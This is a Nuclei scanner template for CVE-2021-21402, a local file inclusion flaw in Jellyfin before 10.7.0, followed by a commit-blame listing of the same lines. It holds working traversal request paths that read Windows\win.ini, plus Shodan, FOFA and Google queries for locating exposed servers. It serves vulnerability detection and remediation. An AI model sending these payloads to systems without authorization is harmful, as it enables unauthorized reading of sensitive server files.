nuclei-templates/http/cves/2021/CVE-2021-21402.yaml

id: CVE-2021-21402

info:
  name: Jellyfin <10.7.0 - Local File Inclusion
  author: dwisiswant0
  severity: medium
  description: |
    Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: This is fixed in version 10.7.1.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx
    - https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1
    - https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21402
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-21402
    cwe-id: CWE-22
    epss-score: 0.2223
    epss-percentile: 0.96475
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: jellyfin
    product: jellyfin
    shodan-query:
      - http.html:"Jellyfin"
      - http.html:"jellyfin"
      - http.title:"jellyfin"
    fofa-query:
      - title="Jellyfin" || body="http://jellyfin.media"
      - title="jellyfin"
      - body="jellyfin"
      - title="jellyfin" || body="http://jellyfin.media"
    google-query: intitle:"jellyfin"
  tags: cve,cve2021,jellyfin,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
      - "{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: application/octet-stream"

      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"

      - type: status
        status:
          - 200
# digest: 490a004630440220407c3f5d2d9467fbde39aca1165e01df0db9da78b9a7d30a8b5894850972fa77022076e26f105ea3172b53180537cb1299cc5a089f3f94930b5faa8f226d54abb764:922c64590222798bb761d5b6d8e72950
:fire: Add CVE-2021-21402 2021-04-01 22:16:53 +00:00			`id: CVE-2021-21402`

			`info:`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`name: Jellyfin <10.7.0 - Local File Inclusion`
:fire: Add CVE-2021-21402 2021-04-01 22:16:53 +00:00			`author: dwisiswant0`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`severity: medium`
:fire: Add CVE-2021-21402 2021-04-01 22:16:53 +00:00			`description: \|`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation could allow an attacker to read sensitive files on the server.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: This is fixed in version 10.7.1.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx`
			`- https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1`
			`- https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7`
Dashboard Content Enhancements (#4819) Dashboard Content Enhancements 2022-07-26 13:45:11 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-21402`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.5`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-21402`
			`cwe-id: CWE-22`
product/queries updated 2024-05-31 19:23:20 +00:00			`epss-score: 0.2223`
			`epss-percentile: 0.96475`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:jellyfin:jellyfin::::::::`
Update metadata query (#4350) * Update adobe-component-login.yaml * Update cold-fusion-cfcache-map.yaml * Update unpatched-coldfusion.yaml * Update coldfusion-debug-xss.yaml * Update CVE-2020-11978.yaml * Update CVE-2020-13927.yaml * Update CVE-2021-38540.yaml * Update CVE-2021-44451.yaml * Update CVE-2022-24288.yaml * Update airflow-debug.yaml * Update airflow-detect.yaml * Update CVE-2010-0219.yaml * Update apache-axis-detect.yaml * Update CVE-2020-11991.yaml * Update apache-cocoon-detect.yaml * Update CVE-2021-21402.yaml * Update jellyfin-detect.yaml * Update CVE-2021-21402.yaml * Update CVE-2021-21402.yaml * Update ecology-arbitrary-file-upload.yaml * Update ecology-v8-sqli.yaml * Update ecology-syncuserinfo-sqli.yaml * Update ecology-filedownload-directory-traversal.yaml * Update CNVD-2021-15822.yaml * Update dedecms-carbuyaction-fileinclude.yaml * Update dedecms-openredirect.yaml * Update tamronos-rce.yaml * Update natshell-path-traversal.yaml 2022-05-12 14:18:36 +00:00			`metadata:`
boolean format update 2023-06-04 08:13:42 +00:00			`verified: true`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`max-request: 2`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: jellyfin`
			`product: jellyfin`
TemplateMan Update [Fri Jun 7 10:04:28 UTC 2024] :robot: 2024-06-07 10:04:29 +00:00			`shodan-query:`
			`- http.html:"Jellyfin"`
			`- http.html:"jellyfin"`
			`- http.title:"jellyfin"`
			`fofa-query:`
			`- title="Jellyfin" \|\| body="http://jellyfin.media"`
			`- title="jellyfin"`
			`- body="jellyfin"`
			`- title="jellyfin" \|\| body="http://jellyfin.media"`
product/queries updated 2024-05-31 19:23:20 +00:00			`google-query: intitle:"jellyfin"`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2021,jellyfin,lfi`
:fire: Add CVE-2021-21402 2021-04-01 22:16:53 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
:fire: Add CVE-2021-21402 2021-04-01 22:16:53 +00:00			`- method: GET`
			`path:`
Update vulnerable paths 2021-04-02 00:11:37 +00:00			`- "{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"`
			`- "{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
:fire: Add CVE-2021-21402 2021-04-01 22:16:53 +00:00			`matchers-condition: and`
			`matchers:`
Add header matcher 2021-04-02 00:17:18 +00:00			`- type: word`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: header`
Add header matcher 2021-04-02 00:17:18 +00:00			`words:`
			`- "Content-Type: application/octet-stream"`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
:fire: Add CVE-2021-21402 2021-04-01 22:16:53 +00:00			`- type: regex`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: body`
:fire: Add CVE-2021-21402 2021-04-01 22:16:53 +00:00			`regex:`
			`- "\\[(font\|extension\|file)s\\]"`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Sat Jun 8 16:02:16 UTC 2024] :robot: 2024-06-08 16:02:17 +00:00			`# digest: 490a004630440220407c3f5d2d9467fbde39aca1165e01df0db9da78b9a7d30a8b5894850972fa77022076e26f105ea3172b53180537cb1299cc5a089f3f94930b5faa8f226d54abb764:922c64590222798bb761d5b6d8e72950`